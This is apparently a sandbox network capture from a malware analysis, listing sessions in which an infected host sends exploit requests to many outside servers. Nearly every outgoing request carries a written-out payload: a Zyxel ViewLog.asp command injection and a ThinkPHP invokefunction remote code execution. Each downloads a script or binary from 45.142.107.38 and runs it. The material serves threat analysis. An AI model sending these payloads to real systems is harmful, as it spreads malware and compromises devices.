{font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.13	58240	94.46.181.66	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:02.156148911 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:02.341418028 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:02 GMT Server: Apache Accept-Ranges: bytes Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.13	60640	62.29.70.73	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:02.188199997 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.13	41994	94.122.235.20	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:02.193526983 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.13	42728	94.121.51.181	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:02.685477972 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.13	45778	94.121.198.115	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:02.899034023 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.13	58202	88.198.16.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:03.389224052 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:04.311034918 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:04.486048937 CET	503	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:04 GMT Server: Apache/2.4.38 (Debian) Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 72 76 30 31 2e 74 65 78 74 6a 6f 62 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at srv01.textjob.net Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.13	41064	88.117.33.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:03.405854940 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:03.597781897 CET	383	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="." Access-Control-Allow-Credentials: true Content-Type: text/html Content-Length: 125 X-XSS-Protection: 1; mode=block X-Frame-Options: deny X-Content-Type-Options: nosniff Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 65 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 65 72 72 6f 72 63 6f 64 65 3e 34 30 31 3c 2f 65 72 72 6f 72 63 6f 64 65 3e 20 3c 65 72 72 6f 72 64 65 74 61 69 6c 3e 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 65 72 72 6f 72 64 65 74 61 69 6c 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>error</title></head><body><errorcode>401</errorcode> <errordetail>Unauthorized</errordetail></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.13	34760	95.110.147.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:03.593624115 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:03.781656981 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:08:03 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.13	41328	95.65.84.205	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:03.801486969 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:04.009599924 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.13	47678	112.218.22.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:04.087106943 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.13	33070	112.196.56.169	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:04.195724010 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:04.586194038 CET	125	IN	HTTP/1.0 400 Bad Request Server: LDH_PWL_SW_5 Date: mon, 04 mar 2024 17:56:12 GMT Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.13	37902	112.30.220.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:05.906554937 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:06.790889978 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:09.079008102 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:13.431564093 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:21.878840923 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:22.595599890 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.13	49532	112.28.220.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:06.328242064 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:10.102910042 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:14.454854965 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:15.163412094 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:14 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 4, 2024 15:08:15.279659986 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:14 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 4, 2024 15:08:15.474260092 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:14 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.13	49534	112.28.220.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:06.424473047 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:07.193722010 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
